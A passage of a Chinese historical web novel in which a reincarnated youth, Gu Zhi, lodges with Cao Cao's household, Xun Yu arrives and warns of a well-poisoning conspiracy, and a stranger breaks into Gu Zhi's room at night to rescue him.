退一万步说,假设顾至真的在众人察觉之前就往钱四嘴里喂了东西,那他为什么不在一开始就掏喉咙干呕,反而有心思问“你是何人”?
当开始发觉身边的同侪确实有几分可疑后,再冲动的人,也很难被他的三言两语带动,只会想办法佐证他的可疑。
部曲中的小首领上前拨开众人。
“先将钱四绑起来,请示主家,听候指令。”
而后,他朝荀彧等人行了一个全礼,“对不住诸位,今日多有冒犯。还请诸位在此地稍待,若有名帖,我一同送往主家。”
杜袭应了,让侍从取来两家的名刺。
“劳烦将军。”
“不敢当。”
另一头,靠着半堵城墙的顾至眼前被阴影笼罩,视线中出现一片菉竹色的布料。
“在下荀彧,字文若,颍川人士。不知阁下尊姓大名?”
顾至抬眼,不咸不淡地回答:
“顾至,未有字,颍川郡阳城人。”
眼看荀彧温润有礼,仍要与他交谈,顾至一句话堵死了聊天。
“——曹将军家关押的囚犯。”
11. 里应外合
即便是见多识广的荀彧,在听到顾至这句“自我介绍”的时候,亦不由地懵了一下,瑞凤瞳错愕地张大,略有几分迷蒙地看着他。
不过是短暂的失神,可当荀彧恢复清明时,顾至已经自顾自地走开,用背影留下一句“失陪”。
荀彧由此确定,这位叫顾至的少年并不想与他交谈,哪怕同是颍川人士,他也不愿多说半句。
幼年时也好,成年后也罢,荀彧都不是勉强人的性子。见顾至无意深交,他亦收了恳谈的心思,折身回返。
杜袭已与部曲将军寒暄结束,见荀彧归来,示意他站在城墙后,以免大病初愈,又被寒风败了身子。
荀彧接受了长者的好意,站在城墙下避风。
像是不经意地,又像是习惯使然,他平静地观察着周围的一切,目光偶尔掠过在树下抱肘而立的顾至。
在曹氏部曲中不着痕迹地打探了片刻,杜袭走了过来。
“那一位姓顾的少年,他是什么人?”
不期然地,荀彧又想到了顾至“乃是囚徒”的那句话。
他没有将“囚徒”两个字说出口,只是模棱两可地回答:
“应是与曹将军相识之人。”
不确切的用语让杜袭下意识地皱眉。
“他不愿与文若交谈?”
以荀文若之能,若有心相交,鲜少有折戟的时候。
不久前,杜袭分明看到荀彧与那少年面对面地站着,说上了话。现在荀彧却无法确定那名少年的身份,这只有一个可能——那名少年警惕心极重,不愿与荀彧深谈。
见荀彧徐徐颔首,杜袭松开眉梢:“也罢,等闲之辈,无需挂怀。”
“……”平和安然的目光微凝,荀彧似乎并不认同。
杜袭没有关注子侄被夜幕掩去的神色,探头看向远处,等待曹家主事人的到来。
等了片刻,未看见人影,杜袭隐去不悦之色,再次转向荀彧。
“你当真要见这个曹操?”
察觉到杜袭藏在平静之下的抵触,荀彧无声叹息:
“袁本初……好为虚势,不可与谋。听闻袁本初欲行废立之事,被曹将军断然回绝。想来,曹孟德……曹将军,与袁本初绝非同一路人。”
更何况。
他在心中暗道。
曹孟德从入仕起便不畏强权,棒责豪家,又在群雄征讨董卓的时候,不计得失地冲上前线,与西凉军死战。
在这浊世难清、四海鼎沸之际,若要想扶危持倾、平定天下,便需要选曹孟德这样有远见、敢担当的枭杰。
即使并未明言,杜袭也从短短的三言两语中品出了坚定。
他并不看好曹操,但没有再劝。
他明白,这位荀家的子侄极有主见,不会因为所谓的“前途”而动摇。
“明日,我将前往荆州,”杜袭如此说道,在忍耐了许久之后,终究还是没忍住,补了一句,“若你今后改了主意……荆州可避祸也。”
局势未见明朗,或许,避祸才是最正确的选择。
对这饱含深意的一句话,荀彧只是客套地回复:
“多谢世叔。”
再没有别的言语。
被夜幕吞噬的巷口,一棵歪歪扭扭的柳树后。
阿猊抓着肿成黄豆的蚊子包,扒着树干,继续往众人所在的方向探头探脑。
见所有人都站在原地等待,没有任何挥剑弄刀的态势,阿猊失望地皱起脸,挠蚊子包的动作越发起劲。
挠着挠着,他忽然感觉后背吹过一阵阴风,冷气蹭着他垂髫的头皮掠过,化作两个大钳,稳稳地扣住他的脑袋两侧。
阿猊险些失声尖叫。
心跳剧烈搏动之际,他听到一个熟悉的声音。
“在这做什么?”
刻意压低压粗的声音,带着阴恻恻的凉意,却让阿猊瞬间放松,寒毛乱跳的脊背软趴趴地垂了下来。
“阿兄,不要吓人啊。”
亲昵地抱怨了两句,阿猊准备转身,却发现自己竟然动弹不得。
那扣着他脑袋的手稳稳当当,如同两把重逾千斤的青铜大钳,牢牢地卡着他的头,也卡着他的身。
“阿……阿兄?”能不能先放开他?
曹昂单手扣着弟弟的脑袋,带着咬牙切齿的笑,顺利地帮弟弟扭了个身。
一抬眼,看到兄长脸上的咬牙切齿,阿猊刚刚放松下来的心再度狠狠一跳,惊慌失措地站直,老实得不能再老实。
曹昂可不吃这一套,耷着唇,每一个字都被他咬出了索命的美感。
“现下还有要事,等回去后再与你算账。”
说完,他松开手,将弟弟交给了身边的护卫,掸去衣袖上的折痕,阔步走向杜袭等人。
阿猊抖了抖脸,下意识地想追上去,被人高马大的护卫拦住了去路。
“二公子,您要是再乱跑,大公子怕是……”
护卫做了个挥舞棍棒的动作。
阿猊:“……”
虽然并不认为自家顶级好的大哥会打人,阿猊还是停下了脚步。
无他,大哥虽然温柔,但凶起来真的挺吓人的。
眼下大哥已经临近发飙边缘,他还是不要过去触霉头了。
阿猊只是继续扒着那棵快要被盘出包浆的柳树,探头探脑,再探头探脑。
这一探,就与一个意料之外的人撞上了视线。
顾至站在人群之外,背对着微茫的火光,直勾勾地望着他。
不知怎的,阿猊脑中不由自主地泛着气泡,每一个泡中都投映着相同的画面——顾至压着钱四,把他的脑袋当成水瓢,使劲往水桶里按。
[喝。]
很快,这富有视觉冲击力的画面又被另一个奇怪的场景取代——
耳房前,不管被怎么攻击腘窝,都安若磐石、纹丝不动的顾至,忽然悠悠一晃,缓缓倒向一侧。
[曹将军,贵公子将我踢成了内伤。]
熟悉的记忆张牙舞爪地涌入脑海。
曾经只是不可思议,甚至有几分鄙薄的阿猊,此刻小身板一震,立即移开目光。
稍微……有些……如芒在背。
脑补了被顾至按着头,当面团拍打的画面,阿猊瞬间藏到树后。
他没发现曹昂在中途缓下脚步,与不远处的顾至对视了一眼。
夜风鼓动衣袂,曹昂抬手,郑重行以一礼。
不远处,站在断垣下的荀彧再次将目光短暂地聚集在顾至的身上。
身侧的杜袭不耐地踱着步,见此,眉宇深皱。
“闹出这般大的动静,等了这般久,竟只叫了一个尚未及冠的小儿来?”
更多的话,他没有说出口。那些话与胸腔隐而不发的怒火滚至一处,堵得人心烦。
杜袭几欲拂袖离开。
荀彧折过身,对着杜袭,面露歉意:
“劳烦世叔陪我久候。此乃彧之过。”
杜袭一惊,连连否决:
“不,我并非此意,文若你……嗐。”
他收回些许牢骚,想要解释,却又不得其法。
眼见曹昂越走越近,因为不好在主人家面前失礼,杜袭只得安稳心神,摆出平静从容的姿态。
“二位贵客来此,有失远迎。”
曹昂行了一个郑重而完整的礼节,面朝更加年长的杜袭。
“我乃奋武将军之子,曹昂。此间之事,我已知晓了首尾。”
曹昂不卑不亢,和缓而有礼,让杜袭不顺的心气平复了许多,
“说来惭愧,孺子少不经事,本不该出来主事。且依照我父亲的脾性,听闻二位入城,定会衣不及带、倒履相迎。不巧的是……”
曹昂适时露出歉意之色,
“家父不慎伤了腿,行动不便,只得让小子出面,请二位移步,到寒舍略作休憩。”
伤了腿?
不远处晒月亮的顾至为之侧首。
之前喝酒的时候不还好好的?眨个眼就伤着了?
不管顾至心中有着怎样的质疑,至少这个理由站得住脚。
哪怕杜袭仍对曹家心存偏见,在听到这样的理由之后,也不好再说什么。
主人家的腿都伤了,还计较人家没有亲自出面,这不是无理取闹是什么?
杜袭不再纠缠此事,却也没有顺着曹昂的意。
“文若,你随曹小将军去吧。”说完前半句,他转向曹昂,解释道,
“杜某只是与荀家子侄同路,送他入城。至于杜某……另有要事,不便叨扰,便在此处,与二位别过。”
他客气地向两人做礼,就打算带着护卫离开。
荀彧无声轻叹,没有多言,与这位世叔道了别。
对于杜袭的抉择,顾至并不意外。
在这个时间节点,杜袭对曹家是什么态度,史书上并无记载。只写了杜袭在荆州避乱,直到公元196年,曹操迎接天子,杜袭才回到颍川,接受曹操的任命,担任西鄂县长一职。
而在《大魏枭雄志》这本小说里,前期的杜袭与许多人一样,因为宦官之家的出身而对曹操心存偏见。
在原著中,曹操衣衫不整,只穿一身单衣,赤着脚跑到城门口,真真的诚心相迎——也没能留住杜袭,更别提现在,他根本没有出面。
单薄的蝴蝶好似扇了下翅膀,又好似没有。<
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顾至将视线落在曹昂的身上,并未在他脸上看到多少焦灼、隐忧之色。
曹操……当真伤了腿?
柳树后,阿猊皱着眉头,原地打转。
他神思不属地咬着指甲,倏然,肩膀被轻轻拍了拍。
阿猊不禁抖了抖,刹那回神。
他猜测站在身后的是大兄曹昂,乖巧地转身,仰头,猝不及防地撞上一双蜜棕色的眼。
阿猊仿佛又一次看到自己的头被当面团拍的画面。
“……”
“寨主,深夜在树后晒月,真有雅兴。”
一听到寨主二字,阿猊的脸色便碎了一地。
他好端端,为什么要拉这个人“拜山头”?
“先生说笑了。”
阿猊绷着脸,学曹昂的样子,摆出客气而温和的模样,试图先发制人,
“我听到异动,心中担忧,便与阿兄一同前来。不知先生为何在此?”
顾至两指摩挲着下巴,脸上的笑,与白日“柔弱”倒地时的他别无二致。
“夜黑风高夜,杀人放火天,我看到一个垂髫小童从曹家东院一处狗洞钻过,一路狂奔。心中好奇之下,便随着那个小童,来了这里。”
钻了洞又一路狂奔的阿猊:……
他面上露出鲜明的懊恼之色,不知是在懊恼徒劳无功的“先发制人”,挽尊失败的谎言,还是在懊恼自己低微的警觉心。
不等他继续懊恼,曹昂已对今晚的事做了初步的处理,请荀彧一同前往曹府。
他走到阿猊身后,伸手敲了敲阿猊发顶的旋。
“今夜不可能有比剑了,回去。”
阿猊摸着头,垂头丧气:“阿兄,阿父他怎么……”
话说到一半,蓦然中止。
曹昂的眸光一如既往的平和,却清晰地表达着制止的意味。
——不要问。
阿猊眨了眨眼,余光扫过领着仆从走来的荀彧。
“那个钱四是怎么回事,当真在井里投了毒?”
“而今天下大乱,粮草与药材都成了稀罕物,能药倒几百人的毒草哪有这么容易到手。”
曹昂平静地说着,素来和顺的面庞多了一分冷意,
“实情如何,要等审问过……或是医者明日细致探查过,才能知晓。”
“曹将军,”荀彧带着随从走到近前,“方才人多杂乱,未能与将军明言……”
他在距离曹昂一尺的地方停下,侧首看向火光聚集之处,声音低得几不可闻,
“当心……里应外合。”
顾至不相干地站在人群之外,敏锐的听觉捕捉到散入风中的音节,模糊的记忆缓缓苏醒。
因为是几辈子之前看的小说,再加上看的时候并未多么认真,他对《大魏枭雄志》中的许多细节都记得不甚清晰。
包括这段几乎让曹操开局团灭的剧情。
他只记得有这么一件事,只记得书中替曹操渡过难关的人是荀彧,对其余的细枝末节都一片茫然。
荀彧的这句话,如同提醒,让他回想起这个剧情点——
曹操在担任洛阳北部尉的时候不畏强权,得罪了许多人。
其中一人便是董卓的部将李傕。
李傕本不是董卓的部将,曾随着前太尉张温进京述职。在京期间,不知道他犯了什么事,在北城地界被当时担任洛阳北部尉的曹操抓走,并且不允许使用钞能力免灾。
从此,李傕记恨上了曹操。
曹操驻扎在河内郡这件事,远在长安的李傕并不知晓。何况他此时在董卓军中只是一个位阶不高的校尉,即使他对曹操心怀恶意,也找不到除掉曹操的时机。
但游离在三辅地区的一支西凉军小队知道这件事。
他们恰巧是李傕统率的几百个士兵中的一员。
这支小队人数不多,只是董卓留在旧都附近用来探查的眼线。他们不敢直接对曹操的军队下手,但为了讨好上司,便决定与曹氏部曲中一个贪财贪色、又有几分本领的人里应外合,取了患有“肠澼”、暴痢而死[1]的病人的不可描述之物,投到井中。
嗯……
顾至回忆着自己的一举一动,确认自己没有碰到任何不该碰触的物件,将心中的省略号一点一点地擦去。
既然钱四的劣行已经暴露,应该不会再有人去饮用那边的井水。
至于其他的事,总归有年轻版的荀令君替曹操担着。
正这么想着,浑身轻松的顾至,突然发现曹昂往自己的方向瞥了一眼。
“……”
不是。
荀文若说“当心里应外合”,看他顾至做什么?
12. 是夜
被顾至捕捉到视线,曹昂并未当场移开,不避不躲地定了一会儿,朝他露出一个歉意的笑。
那歉意坦荡而真诚,明明白白地向顾至展示他刚才的所想,并为此觉得抱歉。
显然,在荀彧说出“里应外合”这四个字时,曹昂的确第一个联想到了顾至,并对他的身份与立场产生了怀疑。
但这份怀疑,仅仅持续了几息,便在与顾至的对视中烟消云散。
顾至先一步转开了目光,事不关己地走在人群的边缘。
似曹昂这般,连疑心都表现得直率磊落之人,反而令他无话可说,甚至连丁点火星子脾气都难以生出。
荀彧与身后的族人站在东南方位,恰巧隔在顾至与曹昂的中线上。
即使相隔了不近的距离,但因为站位的角度,方才顾至与曹昂的所有神态,都清晰地落在他的眼中。
荀彧目不别视,对这短暂的异样视若未见,更没有再对曹昂做更多的劝诫。
年幼的阿猊似乎对气氛甚是敏感,哪怕对眼前的境况茫无头绪、一头雾水,他也跟从心底的直觉,悄悄地往曹昂的方向靠近了一些。
察觉到身侧猫过来的小团团,曹昂脚步微顿。
下一刻,一双鬼祟祟的小手探了上来,揪住曹昂腰间的束带。
曹昂瞥了弟弟一眼,发现他正在偷瞥顾至。
想要询问的话语被压入腹中。
顾至,曹昂兄弟及所携护卫,荀彧及所携随从——三方在安静而略有几分怪异的气氛中,缓缓前行,直到抵达曹家临时修葺的宅院。
荀彧将大多数随从留在院外,由曹家护卫安置,只带了两个人进门。
一进院落,就看到挨得过于密集的屋宇。
荀彧脚步微停,面上没有任何惊讶之色。
“诸位,失陪。”
走进前院,顾至丢下这么一句话,径直走向东边的那间正屋。
荀彧的视线随着他的身影微移,看到了那扇满是栏杆,仿佛监牢木槛的窗户。
“……?”
见多识广的荀彧,被一条条竖着的木棍撼动,目光稍稍凝固。
向来坦荡的曹昂莫名生出一丝窘迫。
像是为了避免荀彧误会,误以为他们家折辱客人,曹昂连忙开口解释:
“这是先生……顾郎的要求。”
这话说得有些失语,就连年幼的阿猊,也在这时投来不信的目光。
世上怎会有人主动将自己的卧室改造成牢房?
不管是真是假,荀家随从看向顾至的目光都多了一分隐晦的怪异。
唯有荀彧与顾至淡然如初。
对于曹昂的话,荀彧并未质疑,他目送顾至回屋,温声致谢:
“多谢处士襄助。”
顾至没有回头:“从未相助,何需言谢。”
他抬手推开房门。
“咚咚”——
窗边竖着镶嵌的木棍,噼里啪啦地落了一地。
临时安装上去充当监牢风景,质量不佳的木棍,仅仅因为一个开门的动作,就散了架。
方形窗口空荡荡的,黢黑无光,如同一个长大了嘴,发出狞笑的兽口。
院内没有人笑,所有人都沉默地望着地上的木棍,包括身为东道主的曹昂。
顾至面不改色地捡起木棍,从墙角捡起一块巴掌大的石头,站在窗边,开始乒乒乓乓地修理。
他的动作并不生疏,也并非毫无章法。
就好像,曾经也当过工匠似的。
曹昂立即道:“先生进屋歇息吧,一会儿我找人来——”
却见顾至背着身,已然将一根木条嵌了回去。
他用腾出的手,在颈侧随意摆了一记,传递了拒绝之意。
而后,垂眸看向地面,正准备再拿一根木条。
一只修长白皙,指腹与虎口皆带着薄茧的手出现在视线之内,宽实的掌心,一根木棍被稳稳地托着,递到他的跟前。
视线往上,便是一张如玉列松,英挺得足以令人晃神的面容。
即使已在城门初见时失过神,如此近距离的视觉暴击依然有增无减。
“……有劳。”顾至接过木条,继续敲打窗棂。
荀彧朝他轻轻颔首,未曾多言。
曹昂收了话音,安静地看着。他原以为荀彧准备留下帮助顾至修葺槛栏,直到结束为止,却未想到,荀彧只递了一条木杆,便折返原位。
“听闻曹将军有伤在身……彧欲向曹将军传几句话,不知是否方便?”
曹昂琢磨着,对方要传的几句话,恐怕不是简单的慰问之语,遂更改了安置客人的打算:
“因腿脚不便,未能亲自相迎,家父正懊恼万端,难以入寝。若阁下有空,不妨随我到家父院中稍坐?”
身后的阿猊正悄悄观察顾至修补槛窗,听到这话,面露疑惑。
不是只传几句话就好吗?为什么要邀请对方去阿父院中?
都这么晚了……
阿猊等着这位来自世家大族、气度不凡的士人婉言相拒,可他等来的,是一声毫无勉强之意的赞同。
“合该如此。”
阿猊困惑地眨了眨眼,抬头环顾,见长兄与荀家来客沉静对视,仿佛达成了某种共识。
下一刻,长兄曹昂转过身,用那熟悉的,像是要找他算账的神情,似笑非笑道:
“天色已晚,你还不回去歇息?”
脑袋被大手钳住的触感犹残留着,阿猊打了个哆嗦,夹着腿,一溜烟跑远。
阿猊离开后,乒乒乓乓的修理声同时停了下来。
曹昂看向东侧正屋,只见顾至那间卧室的窗棂已经修缮完毕,十根腕骨粗的木条整整齐齐地码在窗口,比原先的更笔直。
看起来,也更像一座真正的牢房了。
对着门前那道清瘦的身影,曹昂仍想说些什么,却见顾至已拎着石头进屋,门板毫不留情地拍在框上,隔绝了里外两个空间。
心中一个声音幽然叹息,曹昂不露声色地请荀彧前往正院。
“阁下,请随我来。”
曹家过惯了俭约的日子,加上战乱中物资不丰,偌大的庭院,只点了两处灯。
两人踏过中庭,沿着碎石铺就的小路,走到廊下。
漆黑的视野下,夜晚的静谧稠重而阴冷,寒风凛冽如鬼气,仿佛趴在人的肩头呼哧。
曹昂不受控制地想起一些精怪传说,颈间的绒毛竖起,让他不得不寻找话题,借此打乱脑中的胡思乱想。
“原想着让家中的工匠替顾什长修葺屋舍,倒是没有料到,他竟会缮工之事。”
“什长?”
“对,就是先……顾郎。顾郎曾在
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军中担任什长一职。”
什长,在军中管理十个士兵的小队长,不过是个微不足道的职级。
荀彧回想着少年迅捷的身手与不同寻常的脾性,最终将思绪停留在那形同监牢、槛车,格外古怪的窗栏上。
他有些许疑问,没有问出口。
只是道:“或许……”
曹昂偏头看向荀彧。
荀彧却是没有继续说下去。
他垂着眸,毫无痕迹地说起了另一件事:
“他似乎心绪不佳,并不希望旁人靠得太近。”
这是怎么看出来的?
曹昂眼瞳变圆,想起荀彧不久前曾替顾至捡了一根木条,近距离地交给他。
难道,就是那个时候?
可是顾至并没有表现出反感与不耐。
还未等曹昂想个明白,他们已抵达曹操的居室。
曹昂目送荀彧入内,没有一同进屋。
只言片语从屋内淌出,隐约可闻。
少许寒暄之后,曹昂听到熟悉而温缓的声线。
“将军若想将计就计,需得分辨细作。今夜有几人行止可疑……”
曹昂预备离开的脚步骤然一停。
将计就计。
他收拢螺青色的披帛,在微凉的夜风中呵出一口冷气。
莫非,荀文若早就猜到……他的阿父并未受伤?
……
顾至修好窗外的槛栏,回到屋中,放下支摘窗的小棍,将挡风板放下。
初秋的夜晚略有凉意,顾至没有点灯,用墙角的盥盆简单洗漱了一番,将外袍挂到木制椸架上,就着衾被裹成一个小蚕。
小蚕扭动了一番,从顶部探出一个脑袋。
顾至俯面向下,额头抵着麻布枕头。
那个钱四,当众发了假誓,令他想起了很不好的回忆。
耐心也随之告罄。
……无聊。
不管在哪都一样无聊。
蚕蛹颠锅翻面,顾至仰面躺在床榻上,闭眼入睡。
这间主卧的隔音效果聊胜于无,与曹操那间会客室别无二致。
多亏现在是夜晚,周遭没有太过喧闹的声音,只偶尔有不知从哪个方向传来的犬吠声,驱散了时间静止般的死寂。
不知躺了多久,顾至再次睁开眼,望着伸手不见五指的顶棚。
……太早了,现在是戌时,换算成现代旧事,七八点左右他可从来没有这么早睡过。
哪怕肉/体的生物钟已经催他入睡,精神上仍然亢奋。
这么一想,似乎更生气了。
这个世界甚至没有手机。
闲极无聊,顾至在脑中搜罗着原主的记忆,试着分门别类。
由于记忆过于琐碎凌乱,顾至从头到尾捋了一遍,也还是模糊不清。
例如原主过去的旧识——不管是仇人也好,亲人也罢,在他脑中都只有一个模糊的面容。
比秃头披风侠的脑壳还光滑。
他甚至怀疑原主的记忆是不是一场梦。一旦梦醒,就再也想不起梦中人的五官。
不知不觉,犬吠声停歇。
浓郁的睡意袭来,在即将沉入梦乡的前一刻,顾至听到一段极其细微、近乎于无的脚步声。
他蓦然睁眼,将注意力集中在房梁上。
屋顶有人。
13.梁上之客
顾至屏气凝神,垂着眼,一动不动地躺着。
原本收在被窝里的手悄悄向上,探入枕头的底下。
那里放着一根从槛窗上拆下来,没有安回去的木棍。
屋顶的脚步停歇了好一会儿,不知是它的主人在犹豫,还是迷了路。
仅仅两三息的时间,风声再起。
粗砺的瓦片摩擦生响,有一只藏在黑暗中的手,悄悄挪开了房顶的一片青瓦。
一豆月光垂落,顾至虚闭着眼,隔着拳头大小的空洞,对上了一只充满血丝的眼珠子。
“……”
握着木棍的手稍稍收紧。
那只肝火过旺的眼珠子盯了他好一会儿,悄悄将瓦片挪了回去。
月光消失,室内重新堕入黑暗。
几声细弱的脚步在屋檐掠过。门外有什么物件轻飘飘地落地,停在他的门口。
那人从屋顶,跳到了他的房前。
一柄锋利的小刀顺着门缝捅入,下压,抵上了门栓。
横亘在房门上的木栓被刀片抵着,一寸寸地往右滑动,直到离开门缝,摇摇欲坠地垂下一段。
“咔”——
伴着沉闷的撞击声,木门被人推开了一道缝。
微风涌入房中,无力消散。
一个中等身量,戴着暗红色帻巾的男子扒着门,借着门缝,谨慎地探查。
没有听到动静,他用极其缓慢的速度,极有耐心地轻推木门。
因为移动的速度过慢,木门没有发出声响,就这么静默地被男子推开。
整个过程耗费了十余息的功夫。等门户开到容许一个人通过的程度,他侧身踏入房中,再用同样的力道,小心而缓慢地关门。
门被彻底掩上,男人舒了口气,背对着门板,从怀中掏出一块打火石。
微弱的火光亮起,男人又从佩囊中取出一支窄而短的青铜灯,点燃灯芯。
幽昧的火光被他用一只手小心地罩着,仅从指缝间投射出丝缕。
男人移动灯盏,让这丝缕寸光在房中缓缓移动,帮他查探房内的每一样器物。
暗光照到东南方向,探到了墙角的一张矮榻。
矮榻上躺着一个十多岁的少年,紧闭着眼,无知无觉地熟睡着。
男人试图看清少年的脸。可是光线太暗,他无法看清,便提着小灯,踮着脚,缓缓靠向矮榻。
在距离矮榻还有两步的位置,他终于勉强看清了少年的脸。
男人停在榻前,将声音压得极低,迟疑而试探地唤了一声:
“顾至……顾郎?”
少年没有任何反应,甚至连呼吸也无比微弱,仿佛死了一般。
男人眼眸微动,伸出手,探向顾至的颈侧。
骤然,一只冰冷得不似活人的手攒住他的腕骨,旋即一股巨力让他被迫前倾,连带着青铜灯一起跌向床榻。
男人当即做出反应,将青铜灯往身后一丢,便要制服那只手的主人。
可他抓到的是一个麻布做成的枕头。有一道风从他的身侧掠过,来到他的身后。
男人眼神一厉,被攒着扭向背部的手借势向后,欲予对方一记肘击。
却被一个坚硬的物件挡下。
男人手肘上的麻筋被撞得一颤,当即疼得脸庞扭曲。
顾至一手抓着男人的腕骨,一手横着木棍,在用木棍截下男人的肘击后,格外流畅地绕到男人的身前,夹着他的另一只手,抵在他的颈部。
“你是何人?”
清亮的少年音响起,却和他的手指一般,沁着凉意。
被木棍压着脖颈的感受并不太好。仅仅能透得过气,却避免不了紧迫的窒息与恐惧感。
男人却只是疼得抽气,并不回答顾至的问题。
顾至松开木棍,从身后掐住男人的脖颈。
掉落在地面上的油灯歪着脖颈,将最后的光芒投射到榻前。
顾至站在男人身后,左手按着男人的手肘,反剪着压在男人的背上;右手绕过男人的另一条手臂,以束缚环抱的姿势,掐着他的咽喉。
冰冷的手没有任何温度,像极了死人。
男人恍惚地想着,忽略左肘的剧痛,急迫地询问:“你是顾郎?”
“先回答我的问题。”顾至缓缓收紧指节,毫无温度的指腹嵌入颈部的皮肤,带着不容拒绝的逼迫。
“嗬——”
男人的喉口溢出呛咳,顾至却没有收手,仍然用力扣着他的喉骨。
“你的……嗬……脖子上是否有一条……黄色丝绦……”
扣着颈部的指骨一滞,稍稍松开寸余。
“上头挂着天禄玉坠。”
顾至冷漠垂眸:
“你是何人?”
男人看不见顾至的表情,却能从一再重复的询问中感受到他的不耐。
借着陡然畅通的气道呼吸了几口,男子交代道:
“我姓徐,颍川人士,受人之托,来救一个名叫顾至,且佩着天禄玉坠的少年。”
天禄玉坠安然挂着,藏在顾至浅色的中衣之下。
顾至反诘道:
“为何伸手探向我的颈侧?”
男人一口气差点憋在喉口,忍气闭上眼,一股脑儿地解释:
“天太黑,我看不清你的脸。我试着喊了你一声,可你一动不动。因为怕找错了人,我就想稍稍拉开你的衣领,看一看玉坠在不在。只要你挂着那条玉坠,那便八九不离十了,纵使你昏迷着,我也要扛着你,带你逃离此处。”
“……”
顾至松开男人,退后几步,维持着恰当的距离,
“若不是你最初喊的那一声,你也不能全须全尾地站着。”
男人摸着自己的脖颈,捡起地上的青铜油灯。
燃油倾洒了一些,好在并没有漏完。
他转身看向顾至,对着那张年轻而隽秀的脸,斟酌着询问。
“可否让我看看那个玉坠?”
顾至拨开中衣的领口,食指挑出黄色细绳,将晃荡的玉坠露在外头。
那坠饰已经有了一些年头,黄色的丝绦有些发暗。玉坠极小,只比大拇指的指盖大一些,雕刻成栩栩如生的天禄,寄托着“破病消灾、福运绵长”的祝愿。
确实和那报信人描述的……以及他看过的画像别无二致。
此刻的顾至倒是一副好说话的模样,与刚才判若两人。
男人松了口气,正要说些什么,顾至已先一步开口。
“让你来救我的是谁?”
男人道:“他姓戏,与我是同乡……”
顾至扫遍了原主的记忆,也没找到一个姓戏的人。
他不由蹙眉。
原主的记忆虽然零碎,但最重要的亲人与朋友都被他深深地刻在心中,哪怕所有人面容都模糊不清,他们的名字,原主至死也不曾忘却。
这个姓戏的人,是从哪冒出来的?
正沉思不解,忽然听到对面的男人倒吸了一口凉气。
“你颈间的伤是怎么回事,谁伤了你?”
男人向前走了两步,见顾至面无表情地抬眸,他只得停下。
但这靠近的两步,已经足够他借着灯火看清顾至脖颈上的伤。
伤口还未完全结疤,显然是近期留下的。
想起窗外的木槛,男人横眉薄怒:“曹操竟如此对你?”
“……”
虽然并不想为曹操多解释什么,顾至却也不想让别人替自己背上黑锅。
“不是曹操。”
顾至道,
“还有,你太大声了。”
怒气悬在半空,男人重新压低声音:“事不宜迟,快随我离开。”
顾至眉目未动:“为何要随你离开?”
“曹操如此折辱你,甚至不肯让你处理伤势,你为何要留下?”
顾至奇道:“曹操何时折辱于我?”
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男人指着窗棂:“他将你囚禁在自己的前院,特地在这做了一间牢笼……”
想起自己要求建造槛栏时,曹昂那欲言又止的眼神,顾至此刻也开始欲言又止。
察觉到顾至神色有异,不用提醒,男人也反应了过来。
如果真是囚笼,为何大门不上锁?
可……
男人困惑地虬起眉。
如果不是囚笼,为什么要在窗边弄个槛栏?那不是只有在关押罪犯的监狱与槛车上才能看到的东西吗?
所以,这槛栏不还是在折辱人?
可如果真的是折辱,顾至又没有被关押,门口也没有看守的人,以他的身手,为什么不跑?
男人往日善思善学,此刻却被绕得迷糊。
“曹操并未折辱我。”顾至示意男人查看屋内的摆件,
“让你来救我的那人,叫什么名字,与我是何关系?”
男人回神,直到此刻才有心思仔细查看屋内。
确实,如顾至所说,屋内一应俱全,并无苛待的模样。
急涌上头的怒气彻底冷却,男人奇异地看向顾至:
“你不认识戏焕?”
“戏焕是何人?”顾至反问。
两厢沉默。
过了许久,男人才缓声回答:
“戏贤弟与我一样是颍川人。至于他与你是什么关系……我并不知晓。
“我见到他的时候,他正病重着,迷迷糊糊地托我来救你,说完就陷入了昏迷。
“五天前,有人来找戏贤弟。那人自称受戏贤弟所托,在外打听你的消息。据他所言,你不在东郡,而是被周昕招兵……不久前被曹操抓走,被折磨得九死一生。”
听到“折磨”与“九死一生”这几个字,顾至抬了抬眼。
单看顾至现在的模样,男人就知道这“九死一生”是无稽之谈,无奈道:
“小道消息,难免会有不实之处。”
原主又不是什么出名的人物,还需要精心编排小道消息?
顾至感知到其中的暗流,发现原主的死似乎没有他所想的那么简单。
既然找不到头绪,那他就去见一见这戏焕。
至于原主的哥哥顾彦……
顾至决定明天去找曹昂提一提这事。
“戏焕现在在何处?”
男人回复:“在东郡,由我一位医匠朋友照顾。”
顾至捡起地上掉落的木棍,随手放在榻边的矮几上:
“天色已晚,徐兄不如在屋内休息一夜,我明日随你出城,前往东郡。”
“叫我老徐便是。”
男人走向门边,往门板旁的墙面一靠,与床榻拉开一大段距离。
他摘下暗红色的头巾,揣在怀里,
“你去睡吧,我在这靠一晚……”
话还没说完,门外忽然传来些许声响。
“只有前院有空置的卧房,倒是委屈荀兄了。”
“将军言重。今晚我与侍从本该在城外幕天席地,得了将军的住处,已是承了重情,如何能说委屈?”
门外传来对话,即使两人刻意压低了音量,也还是顺着门缝传入顾至与老徐的耳中。
老徐不再说话,抱着肘,等两人离开。
顾至依据声音与谈话内容,确认院中的二人是曹昂与荀彧。
只说了两句,声音便停了。
连微弱的脚步声也随之消失。
老徐贴着泥墙的背部逐渐舒展,神色放松。
顾至却是收敛了漫不经心的神色,蓦然看向木门。
曹昂与荀彧并没有离开。
方才的人声与脚步,是在他的房门前消失的。
曹昂与荀彧……此刻就在他的门口。
倏然,顾至看向老徐的脚。
这时,曹昂的声音再次响起,与房门只隔了不足一丈的距离。
“荀兄,你在看什么?”
14.暂离
老徐重新绷紧后背,将目光投向顾至的所在。
顾至已披上外衣,伸手轻轻一拨,将他推向壁衣的后方。
“吱呀”——
木门打开。
院中的曹昂与荀彧同时抬头,以不同的神态朝这边望来。
顾至披着外袍,将凌乱的发丝拨到耳后,正是一副刚刚睡醒的模样。
荀彧清透的双瞳带着歉然:“顾处士,可是吵醒了你?”
顾至走出两步,踩在门前那一团不甚清晰的脚印上。
刚才,在他开门的瞬间,荀彧的目光正投落在这个位置。
这是老徐从屋顶跳下的落脚点。
荀彧将这一切看在眼中,神色未动。
曹昂现出几分懊恼之色:“是我考虑不周……”
顾至摇头,解释出来的缘由:“我在半睡半醒间,听到外头有零碎的脚步声,以为遭了贼,便出来看看。”
听到这,曹昂也有了玩笑的心思:“顾兄耳聪目明,却未想到是遇上了我这个小贼。”
荀彧再次看向被顾至踏在脚下的痕迹,一语不发。
素来擅长察言观色的曹昂当即注意到这一点,顺着荀彧的视线望去,缓缓蹙眉。
